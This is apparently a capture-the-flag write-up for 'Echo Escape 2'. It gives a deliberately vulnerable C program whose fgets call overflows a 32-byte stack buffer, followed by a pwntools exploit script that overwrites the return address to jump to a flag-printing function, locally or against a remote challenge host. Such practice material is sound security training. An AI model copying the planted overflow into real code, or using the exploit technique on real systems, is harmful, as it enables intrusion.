Echo Escape 2

Contents

Source
Solution

Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void win() {
    FILE *fp = fopen("flag.txt", "r");
    if (!fp) {
        perror("[!] Could not open flag.txt");
        exit(1);
    }

    char flag[128];
    fgets(flag, sizeof(flag), fp);
    printf("Flag: %s\n", flag);
    fflush(stdout);
    fclose(fp);
}

void vuln() {
    char buf[32];  

    printf("Enter the secret key: ");
    fflush(stdout);

    fgets(buf, 128, stdin);

    printf("You entered:, %s\n", buf);
}

int main() {
    vuln();
    puts("Goodbye!");
    return 0;
}

Solution

#!/usr/bin/env python3

from pwn import *
from termcolor import colored
import time
from tqdm import tqdm

elf = ELF("./vuln_patched")
rop = ROP(elf)

context.aslr = False
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
contextwatch execute "bins"
"""


def find_offset():
    r = process([elf.path])
    r.sendline(cyclic(1024))
    r.wait()
    result = cyclic_find(r.corefile.pc)
    r.close()
    log.info(f"The offset th return address: " + str(result))
    return result


def conn():
    if args.REMOTE:
        r = remote("dolphin-cove.picoctf.net",55169)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


r = conn()

sl  = lambda a   : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
ru  = lambda a   : r.recvuntil(a)
rud = lambda a   : r.recvuntil(a,drop=True)

def main():
    offset = b'i'*44
    win = elf.sym["win"]
    payload = offset + p32(win)

    sl(payload)
    r.interactive()



if __name__ == "__main__":
    main()